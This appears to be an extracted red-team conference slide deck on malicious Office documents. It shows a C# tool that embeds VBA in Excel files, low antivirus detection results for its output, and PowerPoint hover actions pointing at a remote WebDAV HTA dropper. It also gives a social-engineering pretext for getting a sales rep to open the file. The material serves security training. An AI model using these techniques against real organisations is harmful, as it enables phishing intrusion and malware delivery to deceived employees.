  - The vbaProject.bin file does NOT contain compiled VBA code (like when created with Microsoft Office). Instead that code is compressed VBA source code.

C:\Windows\System32\cmd.exe

```
C:\Users\ponce.TEST\Desktop\office_generated\xl>dir
 Volume in drive C has no label.
 Volume Serial Number is 0013-D28A

 Directory of C:\Users\ponce.TEST\Desktop\office_generated\xl

09/07/2020  04:47 PM    <DIR>          .
09/07/2020  04:47 PM    <DIR>          ..
01/01/1980  12:00 AM             1,618 styles.xml
09/07/2020  04:47 PM    <DIR>          theme
01/01/1980  12:00 AM            10,752 vbaProject.bin
01/01/1980  12:00 AM             2,168 workbook.xml
09/07/2020  04:47 PM    <DIR>          worksheets
09/07/2020  04:47 PM    <DIR>          _rels
               3 File(s)         14,538 bytes
               5 Dir(s)  13,568,929,792 bytes free

C:\Users\ponce.TEST\Desktop\office_generated\xl>
```

C:\Windows\System32\cmd.exe

```
C:\Users\ponce.TEST\Desktop\hot-manchego\epplus_generated\xl>dir
 Volume in drive C has no label.
 Volume Serial Number is 0013-D28A

 Directory of C:\Users\ponce.TEST\Desktop\hot-manchego\epplus_generated\xl

09/07/2020  04:46 PM    <DIR>          .
09/07/2020  04:46 PM    <DIR>          ..
09/07/2020  04:40 PM               159 sharedStrings.xml
09/07/2020  04:40 PM               738 styles.xml
09/07/2020  04:40 PM             4,608 vbaProject.bin
09/07/2020  04:40 PM               570 workbook.xml
09/07/2020  04:46 PM    <DIR>          worksheets
09/07/2020  04:46 PM    <DIR>          _rels
               4 File(s)          5,881 bytes
               4 Dir(s)  13,568,864,256 bytes free

C:\Users\ponce.TEST\Desktop\hot-manchego\epplus_generated\xl>
```

CREATING EXCEL FILES WITH EPPLUS

- .NET library that creates Office Open XML (OOXML) Spreadsheets
- Two Primary Benefits:
  - EPPLus Generated Files do NOT contain metadata
  - The vbaProject.bin file does NOT contain compiled VBA code (like when created with Microsoft Office). Instead that code is compressed VBA source code.

For more details about the difference between EPPlus generated files vs. Microsoft Office generated files, please see NVISO's post.

3 / 61

Community Score

3 engines detected this file

98a773ba5910134979d11c587d3ae7b27517ccaebd420468a1fa0648bacfdf1f

blank_test.xlsm

auto-open | enum-windows | exe-pattern | ipv4-pattern | macros | run-file | xlsx

3.94 KB
Size

2020-09-07 14:35:32 UTC
5 minutes ago

XLSX

DETECTION | DETAILS | RELATIONS | COMMUNITY

Elastic	Malicious (high Confidence)	Symantec	CL.Downloader!gen104
TACHYON	Suspicious/XOX.Obfus.Gen.8	Ad-Aware	Undetected
AegisLab	Undetected	AhnLab-V3	Undetected
Alibaba	Undetected	ALYac	Undetected
Antiy-AVL	Undetected	Arcabit	Undetected
Avast	Undetected	Avast-Mobile	Undetected

HOT MANCHEGO

C# UTILITY TO BUILD MACRO-ENABLED EXCEL FILES USING EPPLUS

FortyNorthSecurity / hot-manchego Private

Unwatch 3 | Star 0 | Fork 0

Code | Issues | Pull requests | Actions | Projects | Security | Insights | Settings

master | 1 branch | 0 tags | Go to file | Add file | Code

joeleonjr initial commit b112ffd 2 hours ago 1 commits

EPPlus.dll	initial commit	2 hours ago
README.md	initial commit	2 hours ago
hot-manchego.cs	initial commit	2 hours ago
vba.txt	initial commit	2 hours ago

README.md

Hot Manchego

Macro-Enabled Excel File Generator (.xlsm) using the EPPlus Library.

About

Macro-Enabled Excel File Generator (.xlsm) using the EPPlus Library.

Readme

Releases

No releases published
Create a new release

Packages

No packages published
Publish your first package

Languages

DEMO

Windows 10 x64

File Edit View Project Debug Test Analyze Tools Extensions Window Help Search Visual Studio (Ctrl+Q) Solution1

Attach... Live Share

hot-manchego.cs

Miscellaneous Files | HotManchego.VBAGenerator | Main(string[] args)

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using OfficeOpenXml;
using System.Security.Cryptography.X509Certificates;
using System.Drawing;
using OfficeOpenXml.Style;
using OfficeOpenXml.Drawing.Chart;

namespace HotManchego
{
    class VBAGenerator
    {
        public static void Main(string[] args)
        {
            if (args.Length == 0)
            {
                System.Console.WriteLine("Usage: hot-manchego.exe blank.xlsm vba.txt\nThe first argument is a blank XLSM file.\nThe second argument is the VBA you want embedded in the XLSM file.");
                System.Environment.Exit(1);
            }
            if (args.Length == 1)
            {
                System.Console.WriteLine("Usage: hot-manchego.exe blank.xlsm vba.txt\nThe first argument is a blank XLSM file.\nThe second argument is the VBA you want embedded in the XLSM file.");
                System.Environment.Exit(1);
            }

            var outFile = new FileInfo(Directory.GetCurrentDirectory() + "\\" + args[0]);
            var vbaFile = new FileInfo(Directory.GetCurrentDirectory() + "\\" + args[1]);
            FillVBA(outFile, vbaFile);

        }
        private static void FillVBA(FileInfo outFile, FileInfo vbaFile)
        {
            ExcelPackage pck = new ExcelPackage();

            //Add a worksheet.
            var ws = pck.Workbook.Worksheets.Add("Sheet1");
            //ws.Drawings.AddShape("VBASampleRect", eShapeStyle.RoundRect);

            //Create a vba project and set password permissions
            pck.Workbook.CreateVBAProject();
            pck.Workbook.VbaProject.Protection.SetPassword("EPPlus");

            //Read in vba code from file
```

100 % No issues found

Item(s) Saved Ln 23 Col 34 Ch 34 INS Add to Source Control

Type here to search 5:01 PM 9/7/2020

PPT HOVER OVER

ethanhunnt / Hover_with_Power

Watch 2 | Unstar 15 | Fork 4

Code | Issues 1 | Pull requests | Actions | Projects | Wiki | Security | Insights

master | 1 branch | 0 tags | Go to file | Add file | Code

ethanhunnt Update README.md a93d4e4 on Apr 7 **4** commits

Exploit.mp4	This is the first commit	5 months ago
README.md	Update README.md	5 months ago
TEST.ppsx	This is the first commit	5 months ago
exploit.gif	This is the first commit	5 months ago

README.md

About

This repo is dedicated to a powerpoint exploit

Readme

Releases

No releases published

Packages

No packages published

HOVER WITH POWER

- “Mouse Over” and “Mouse Click” actions in PPT can download a remote file and execute it
- Host malicious dropper on WebDav server and overwrite local file in PPT XML file
- Users are required to click through two security warnings before the file will execute
- File best delivered in a PowerPoint Presentation File (.ppsx or .pps)
- Payload Ideas:
  - HTA
  - BAT
  - …

_rels
File
Home
Share
View
This PC › Desktop › a_real_presentation › ppt › slides › _rels
Search _rels
Quick access
Desktop
Downloads
Documents
Pictures
Music
Videos
OneDrive
This PC
3D Objects
Desktop
Documents
Downloads
Music
Pictures
Videos
Name
Date modified
Type
Size
slide1.xml 12/31/1979 11:00 PM XML Document 1 KB
slide2.xml 12/31/1979 11:00 PM XML Document 1 KB
slide3.xml 9/6/2020 6:31 AM XML Document 1 KB
slide4.xml 12/31/1979 11:00 PM XML Document 1 KB
C:\Users\ponce.TEST\Desktop\a_real_presentation\ppt\slides_rels\slide3.xml.rels
Search...
C:\Users\ponce.TEST\Deskto...
<?xml version="1.0" encoding="UTF-8" standalone="true"?>
- <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship TargetMode="External" Target="file:///[redacted]\webdav\our_story_video.hta"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Id="rId2"/>
<Relationship Target="../slideLayouts/slideLayout7.xml" Type="http://schemas.openxmlformats.org/officeDocument/20
Id="rId1"/>
</Relationships>

DEMO

Windows 10 x64

AutoSave Off | test | Search | Joseph Leon Jr

File | Home | Insert | Draw | Design | Transitions | Animations | Slide Show | Review | View | Help | Share | Comments

New Slide | Reuse Slides | Table | Pictures | Screenshot | Photo Album | Shapes | Icons | 3D Models | SmartArt | Chart | Forms | Get Add-ins | My Add-ins | Zoom | Link | Action | Comment | Text Box | Header & Footer | WordArt | Equation | Symbol | Video | Audio | Screen Recording

Slides | Tables | Images | Illustrations | Forms | Add-ins | Links | Comments | Text | Symbols | Media

1

2

3

4

Definitely a Real Presentation

Slide 1 of 4 | Notes | 93%

Type here to search | 6:51 AM 9/6/2020

HOW DO WE SOCIAL ENGINEER THEM TO CLICK?

- Choose a good pretext
- Ex:
  - You email a sales rep telling them you can deliver them high quality leads. Ask them to take a quick 5-10 minute call to explain. Send them the PPSX file. Have them open it up on the call. Fake pitch them on your services and make sure they take the required action.
  - Get creative!

Pretext Project | Collection of S

pretext-project.github.io

Pretext Project

VISIT THE GITHUB REPO

Pretext Project

Open-Source Collection of Social Engineering Pretexts

WHAT'S A PRETEXT?

A pretext is a made-up story that social engineers use to convince a victim to reveal secret information or take a malicious action.

HOW DO I USE THIS?

Search by keyword or filter by type of pretext. For example, filter to all pretexts designed for credential harvesting delivered via email.

CONTRIBUTE

Please review these contribution guidelines prior to submitting a pretext. If you'd like to help curate our collection of pretexts, please DM @joeleonjr.

Search 14 pretexts...

Pretext	Methods	Goal	Payloads	Date
Medical Test Results	EMAIL	MALWARE	DOC DOCX XLS XLSX PDF	August 28, 2020

TL;DR

We're still using Malicious Office Documents on red team assessments.

We're primarily using 1 of 3 methods:

1. Excel 4.0 (XLM) Macros
2. Remote Word Docx Template Injection
3. New A/V Obfuscation + Interesting VBA Payloads

WILD WEST HACKIN' FEST 2020

- @FortyNorthSec is teaching "Initial Access Operations" at the end of September
- Goal: teach you how to gain a foothold in a modern enterprise environment
  - Credential Harvesting
  - Process Injection
  - Modern Macros
  - HTAs / Click-Once(s)
  - ...basically all the tactics we use on red team assessments

THANK YOU @BHINFOSECURITY FOR INVITING US

THANK YOU FOR LISTENING

We're @FortyNorthSec

fortynorth